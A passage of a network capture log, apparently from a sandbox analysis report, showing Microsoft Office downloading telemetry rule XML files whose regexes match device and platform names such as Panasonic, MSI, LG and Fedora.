T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:41 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:41 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 69b48820-e01e-0099-092d-27da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094741Z-17c5cb586f69w69mgazyf263an00000005k00000000032h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:41 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:41 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 3b7c5db9-101e-0046-71c7-2791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094741Z-15b8d89586ff5l62aha9080wv000000007p0000000005dpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:41 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:41 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 214f201b-c01e-00ad-7c26-28a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094741Z-17c5cb586f626sn8grcgm1gf8000000004w00000000042z6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094742Z-16849878b78qwx7pmw9x5fub1c00000004cg00000000e6gh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:42 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094742Z-16849878b78wc6ln1zsrz6q9w800000005x000000000gnfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094742Z-16849878b78z2wx67pvzz63kdg000000050g000000004d7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:42 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 43d69f68-001e-00ad-61b4-24554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094742Z-15b8d89586fcvr6p5956n5d0rc0000000c90000000007pv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:43 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094742Z-16849878b78km6fmmkbenhx76n00000005rg000000004xmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:43 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:43 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094743Z-16849878b78fssff8btnns3b1400000006p000000000608p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:43 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094743Z-16849878b787bfsh7zgp804my40000000550000000006tnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:43 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094743Z-16849878b78qf2gleqhwczd21s00000006n0000000002v2t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:43 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094743Z-16849878b78wv88bk51myq5vxc00000006m0000000009qqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" 